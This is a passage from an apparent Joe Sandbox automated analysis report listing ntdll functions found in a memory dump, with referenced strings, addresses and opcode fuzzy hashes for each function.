Opcode Fuzzy Hash: 0d01a3d76104193961d512d1b882630f6ccbef02b6e904a61fecd3c8c7ef0998
Instruction Fuzzy Hash: 11412471548301ABCB31EB68D944B9B77F8FF88B60F45492AF948D3298E774D800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01ADC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

@, xrefs: 01ADC1F1
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 01ADC1C5
PreferredUILanguages, xrefs: 01ADC212

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: cabd7c3a1b8d08cd9a64ff7fcb4bc26abc780a0a915c95c7bdd334a8743f4fa7
Instruction ID: e86d775198251f7aa74fd7ec98581381e458d5293be2772c8ac8273d331b83da
Opcode Fuzzy Hash: cabd7c3a1b8d08cd9a64ff7fcb4bc26abc780a0a915c95c7bdd334a8743f4fa7
Instruction Fuzzy Hash: 1041A371E00609EBDF11EBD8C984FEEBBBDAB14710F54416EE60AB7248D7749A44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AB4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpResValidateFilePath Enter, xrefs: 01AB4160
LdrpResValidateFilePath Exit, xrefs: 01AB4172
@, xrefs: 01AB4225

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: 0ffa1299ce84580bcff103fdef8a4812aa665fdafe459d926142d036ead94776
Instruction ID: 6ea2393b4926d606764ecc8e1a04fd7c5e2a57ddd10f81bc91dea4d7cd1ed003
Opcode Fuzzy Hash: 0ffa1299ce84580bcff103fdef8a4812aa665fdafe459d926142d036ead94776
Instruction Fuzzy Hash: 0A41E371A047988BEB26DBD8D984BEDBBB8FF99340F140469D902EB793D7349901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AA4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 01AA4899
LdrpCheckRedirection, xrefs: 01AA488F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01AA4888

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: f16482e8d74e9d7811645391f8141173267877c79f83538ad5929cfcae95d30b
Instruction ID: 1d52c23df2701fac57b26245fcf2c1140f1c0c088cc44353a223005b39957505
Opcode Fuzzy Hash: f16482e8d74e9d7811645391f8141173267877c79f83538ad5929cfcae95d30b
Instruction Fuzzy Hash: A341AF32A047919FCB22CF69E940A267BE5EF8DA50F8E056DFD5997211D7B0E800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01A30BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 01A85449
HEAP[%wZ]: , xrefs: 01A85431
HEAP: , xrefs: 01A8543E

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 8089a096167f55efb983d67f55d399002de84963e0c477981e2321d539e391aa
Instruction ID: cd0df9c8bbfcc093c964a6b1cf3ef8f856e7d4f296aab313382f6ab30b36b314
Opcode Fuzzy Hash: 8089a096167f55efb983d67f55d399002de84963e0c477981e2321d539e391aa
Instruction Fuzzy Hash: 5111AC317152429FEB2DEF2CC545B6AB3A6EF80A16F19816AF806CB656DB30D841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AA20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

Process initialization failed with status 0x%08lx, xrefs: 01AA20F3
minkernel\ntdll\ldrinit.c, xrefs: 01AA2104
LdrpInitializationFailure, xrefs: 01AA20FA

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 5715fdf759ba173fc644f077217461fc9404cd94361f9c38c3688013a109a1d0
Instruction ID: 907ffa9dac2ceb172cb4b35c78a641d796ff2d57ce495d89739c21b84e1d786d
Opcode Fuzzy Hash: 5715fdf759ba173fc644f077217461fc9404cd94361f9c38c3688013a109a1d0
Instruction Fuzzy Hash: F5F02235680308BBE721EB0CDD46F993BA8FB41B58F90002EF70067281E3B0AA40C680

Uniqueness

Uniqueness Score: -1.00%

Function 01A303E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01A84D8A

Strings

#%u, xrefs: 01A84D82

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 43a72fe9939cadc51126b78362272a8a34840b8f5a4e6ec02a784757fa4aa519
Instruction ID: a83902c4374c75ec885293a9aa69f12d007a21916a4b7382f0a5d7c5c33bf278
Opcode Fuzzy Hash: 43a72fe9939cadc51126b78362272a8a34840b8f5a4e6ec02a784757fa4aa519
Instruction Fuzzy Hash: 5D715A71A0014A9FDB01DFA8DA85BAEBBF8BF48344F154065E905E7251EB38EE05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01A2A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Exit, xrefs: 01A2AA25
LdrResSearchResource Enter, xrefs: 01A2AA13

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: 014c0ceef42cc4b85e37b78642357a58236bb033606aa30a3b063bf125cb009b
Instruction ID: ecc2e5ce33c78096d5a9d174a9a0d5bf7ab676f4b10f7d9b3feb05ced472f671
Opcode Fuzzy Hash: 014c0ceef42cc4b85e37b78642357a58236bb033606aa30a3b063bf125cb009b
Instruction Fuzzy Hash: C2E15D71E00229AFEF229B9DCA80BAEBBB9BF58710F14442AE901E7651D774D941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AEA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 01AEA44B
`, xrefs: 01AEA551

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: 503187bb46c38c27c8ed6a177a7096d67124fd91acce8f523f2e1fe563067769
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: C1C1D0312043429BEB25CF28C949B6BBBE5BFD4318F084A2DF696CB291D774D505CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01A9E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 01A9E75A
UEFI, xrefs: 01A9E751

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: ce3407ed1439ed74f205263cfc16f84f07c9270651a6621ad451efa0ccd52e33
Instruction ID: afaf61305e5c5e6edeeaa145a154c46d6deb19768c301f603c3f2d3bd96d5873
Opcode Fuzzy Hash: ce3407ed1439ed74f205263cfc16f84f07c9270651a6621ad451efa0ccd52e33
Instruction Fuzzy Hash: 65613B71E006199FDF15DFA9C940BADBBF9FB48700F14846DE649EB252D731A980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AC43D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

MUI, xrefs: 01AC4525
@, xrefs: 01AC4437

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: @$MUI
API String ID: 0-17815947
Opcode ID: 4da0b5fc7ed3f400828d54c711e2ba322b0312151456cdf7efc975731393f0a7
Instruction ID: 87a47e81aeb25d24da4ccf9b45c4f6df562ae73953a435e61b9ab1bb9c1c6e08
Opcode Fuzzy Hash: 4da0b5fc7ed3f400828d54c711e2ba322b0312151456cdf7efc975731393f0a7
Instruction Fuzzy Hash: C2510A71D0021DAFEF11DFA9CD90AEEBBBCEB58B54F10052AE611B7290D6309D05CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01A204E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 01A2063D
kLsE, xrefs: 01A20540

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 0-2547482624
Opcode ID: 430f99381965ea1853e33f7e032463bee0f1f9485e3c575835090223e837bdb4
Instruction ID: f55d46878e1f35aa7e920969b3d20371bf71c2a5c41e3057162e0fcb6e5c6cae
Opcode Fuzzy Hash: 430f99381965ea1853e33f7e032463bee0f1f9485e3c575835090223e837bdb4
Instruction Fuzzy Hash: 8651AA716047529BD734EF7CC6446A7BBE4AF84304F10883EFAAA87241E7B0E545CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01A2A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 01A2A309
RtlpResUltimateFallbackInfo Enter, xrefs: 01A2A2FB

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 5fbae30962e49b041ecc663459b066dac0ab2db14020541a3d65d44a49b50186
Instruction ID: 95a559f297b0e518705572ea829cd0e500372d0c5a9262f767178ef35e8806cc
Opcode Fuzzy Hash: 5fbae30962e49b041ecc663459b066dac0ab2db14020541a3d65d44a49b50186
Instruction Fuzzy Hash: B841AD38A05665DBEB25DF5DC844B6EBBB4FF84700F1880AAE904DB692E3B5D900CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01A5A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 01A5A5E4
Threadpool!, xrefs: 01A5A5E9

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: f015f456c4a18c425566142b2bd56b577d3e5d451967c8ae5ed405d67296ccde
Instruction ID: 56a662c77cfddcb29d52911c37e87cdc0aac99bbbac11169184d25f049189ebf
Opcode Fuzzy Hash: f015f456c4a18c425566142b2bd56b577d3e5d451967c8ae5ed405d67296ccde
Instruction Fuzzy Hash: 0601D1B2244700AFE351DF24CE45B1677E8E794B15F068A39FA4CC7590E374D804CB56

Uniqueness

Uniqueness Score: -1.00%

Function 01A2C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 01A2C8C3, 01A2CA40

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 2ef3cd426f110b542f1622ae145f24aba066e3dbcd9bba5efad462c66f4961ef
Instruction ID: 1af980858c02c8eb2c689d67c0e2ce6fd0267c1dc48a060da11f757197e54054
Opcode Fuzzy Hash: 2ef3cd426f110b542f1622ae145f24aba066e3dbcd9bba5efad462c66f4961ef
Instruction Fuzzy Hash: 90825C75E002299FEB25CFADC980BEDBBB1BF48320F148169E919AB356D7349941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01AA6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 01AA65C1

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: eea079552e3cd32296e196709f333af6bde69a18cf1a9018e9ce0764f4b3f564
Instruction ID: 947d35c317e093cf0f62bfeee75d770b4984432064155f3dd375f5e9bb1bd255
Opcode Fuzzy Hash: eea079552e3cd32296e196709f333af6bde69a18cf1a9018e9ce0764f4b3f564
Instruction Fuzzy Hash: 1991827190021AAFEB21DFA5CD85FAEBBB8EF58750F540025F604AB191D774AD04CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01ACE10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

, xrefs: 01ACE1FA

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: c78c6624bc60c7a04fde6bd8e8f53534eabcc82f026b90590857a0e134111234
Instruction ID: ae8f0161609ce0c2815ad8d071b2c966fbe9a08157da42d0b9d652eb27d7985f
Opcode Fuzzy Hash: c78c6624bc60c7a04fde6bd8e8f53534eabcc82f026b90590857a0e134111234
Instruction Fuzzy Hash: 4991A072900649AFDF22AFA5DD44FAFBFBAEF95B50F140029F505A7250DB34A901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01A5A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 01A967C9

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: 1d3c733d860b602ca7fd737f9b0f9a4db5954d160d7bd700efa08f94432e3033
Instruction ID: a6bcbedd5d13ac017704e2a9db542699d9ebfcbde0b73f5dc240648e70e485f2
Opcode Fuzzy Hash: 1d3c733d860b602ca7fd737f9b0f9a4db5954d160d7bd700efa08f94432e3033
Instruction Fuzzy Hash: 807172B5E0021ADFDF29CF9CD590AADBBF1BF58710F14812EE909AB241E7749981CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01AC4978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

.mui, xrefs: 01AC4A7F

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: .mui
API String ID: 0-1199573805
Opcode ID: 9cad2e93520c7182a216c5771bdebe8f76770c1b84cf2fb9c11e85679ff2458b
Instruction ID: c0c68260892c6d73e6481c20094e4c856ba746e570aa6eff49980705fd11e942
Opcode Fuzzy Hash: 9cad2e93520c7182a216c5771bdebe8f76770c1b84cf2fb9c11e85679ff2458b
Instruction Fuzzy Hash: 19517172D0022ADFDF11DF9DD950AAEBBB4BF58E50F05412DEA15BB240D7349901CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 01A3E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 01A3E6A4

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: 9270eb6bf893dc454169024892b31897c69d5c8f99f7b26796053a11007a1009
Instruction ID: c2729e353c526e1671060c91c795503a506b7fc451be9777ed99de9ae9b11098
Opcode Fuzzy Hash: 9270eb6bf893dc454169024892b31897c69d5c8f99f7b26796053a11007a1009
Instruction Fuzzy Hash: 13419072608346ABD722DB75C941BABBBE8AFC8714F44092DFA84E7180E774D904C797

Uniqueness

Uniqueness Score: -1.00%

Function 01A9C730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 01A9C77F

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 531669e63435b6a9d4bc60ef600527fdaea427cf9bcff45b7e96e8648482de41
Instruction ID: 84f5e365e535466a189f9691c9dfc05d1acc8468570e2fa867200c269e0593ca
Opcode Fuzzy Hash: 531669e63435b6a9d4bc60ef600527fdaea427cf9bcff45b7e96e8648482de41
Instruction Fuzzy Hash: 4A4133B1D0052DABDF21DB50CD84FDEB7BCAB55724F0085A5EA08AB144DB709E898FA4

Uniqueness

Uniqueness Score: -1.00%

Function 01AB6B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

#, xrefs: 01AB6B91

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 8f45cb887725e454d62206b758102da459c49f94a1546e8c6a44da559e7e6606
Instruction ID: e39e83fcb3fcf726620e06bb0dda927b016debc906533f34727b5af2a950b76e
Opcode Fuzzy Hash: 8f45cb887725e454d62206b758102da459c49f94a1546e8c6a44da559e7e6606
Instruction Fuzzy Hash: E531F631A007999BEB22DB69C890BFE7BBCEF46704F544028E949AB283D775DC05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01A9CA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 01A9CAA2

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 275ce13e675c9eeaaf3ec327f153e1e0c8749c9c905a61d6acdc0f63caeb3816
Instruction ID: c08914816cfb65c69f9225e320f9381e917082f4152a6cea8521efeb3c48aa2f
Opcode Fuzzy Hash: 275ce13e675c9eeaaf3ec327f153e1e0c8749c9c905a61d6acdc0f63caeb3816
Instruction Fuzzy Hash: 3131013690091AAFEF16DB59C941E7FBBB4EF80760F018129E901A7290E7309E44DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 01AA892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 01AA895E

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 681ede9d3b147ae8f9726b7c9876fa0433fc1f5219b4f1e88a8deb6ed7a286b2
Instruction ID: b1a72080d2a136cf6d8f9e3f051ed3c46fc344d1522319843c6a363568534053
Opcode Fuzzy Hash: 681ede9d3b147ae8f9726b7c9876fa0433fc1f5219b4f1e88a8deb6ed7a286b2
Instruction Fuzzy Hash: 80012B32200311AFE6356B59DD84AA6BF75FFC6655BC5002CF64187565CB286881C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 01AC2000 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509ebd17f0108afe1a320b334d68c1f9004a851443ff44201284bc7ff100f323
Instruction ID: cc38a8863d31fcba55e46a2cdc4f334c37a1bdde48beef89c714549b1c6180ae
Opcode Fuzzy Hash: 509ebd17f0108afe1a320b334d68c1f9004a851443ff44201284bc7ff100f323
Instruction Fuzzy Hash: 4A42C4756083419FE726CF68C990B6BBBE5BFC8B00F08492EFA8697250D771D845CB52

Uniqueness

Uniqueness Score: -1.00%

Function 01AB8158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa9d26cb3a280e1b1eb6092e1e3df58505de1a5584ea37ac8e9386cea68bd83
Instruction ID: d1fdffe236d51150894c7c3c9808034ab0337a00010aea4e04dfa0dab985727a
Opcode Fuzzy Hash: 5aa9d26cb3a280e1b1eb6092e1e3df58505de1a5584ea37ac8e9386cea68bd83
Instruction Fuzzy Hash: 8F424175E002598FEB25CF69C881BEDBBF9BF48300F158199E549EB242D7389985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01A32840 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1eaf34b838b5fdd8148e0d66dfc488c8b9f03c975facee309b29146710649e3
Instruction ID: 0b85327e336ba6e94da28efef57c0d6437af45d348f8c87cd7fb51283c64b19b
Opcode Fuzzy Hash: b1eaf34b838b5fdd8148e0d66dfc488c8b9f03c975facee309b29146710649e3
Instruction Fuzzy Hash: 9C32D270A007558FEB29EF69C9447BEBBF2BF84704F24412DE58A9B285D735A841CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01ACA118 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c7753853e40211a67caca2c91f3e0a6cef7aa989f3034080658ca0773a32e8
Instruction ID: c0edf3245701d544c0ef634b3a8b22285c264df2f3f12c41895512995d728612
Opcode Fuzzy Hash: 56c7753853e40211a67caca2c91f3e0a6cef7aa989f3034080658ca0773a32e8
Instruction Fuzzy Hash: 2A22AB746046698AEB25CF2DC194772BBF1AF44B00F08845EEA968F286F735E452DB60

Uniqueness

Uniqueness Score: -1.00%

Function 01A26A50 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d44b64610e3a9a410b28ab7d6bc362e1c71a8ab2ffff59efc5c4ee188f72ac2
Instruction ID: 7449686fd1129ae2a8bf6530aa76a35305960e5ab1d81d0144a1f92d551846f8
Opcode Fuzzy Hash: 0d44b64610e3a9a410b28ab7d6bc362e1c71a8ab2ffff59efc5c4ee188f72ac2
Instruction Fuzzy Hash: AE329D71A01215CFDB25DFACC580BAABBF1FF48310F148569E95AAB391D734E846CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01A44A35 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction ID: cf7ddd0dce8919a617ae8f3ea7d92c2e66354dd7db72ecb1ca308c0db6aaf37c
Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction Fuzzy Hash: 99F14D71E0021A9BDB15DFA9D590BBEBBF5BF88714F088129E945EB340E774D842CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01AB892B Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d714e7dd605237bc39166d4ca06f0e1d6bd14dd340a87a70ce795ca782b1105e
Instruction ID: 32d0e9d75f7cea0b3884670141a855aa86a4cb695be5d04541fcd8487a91f061
Opcode Fuzzy Hash: d714e7dd605237bc39166d4ca06f0e1d6bd14dd340a87a70ce795ca782b1105e
Instruction Fuzzy Hash: 0CD1F271A0064A8BDF05CF6DC881AFEB7FDBF88304F19816AD955E7242D739E9058B60

Uniqueness

Uniqueness Score: -1.00%

Function 01A265D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

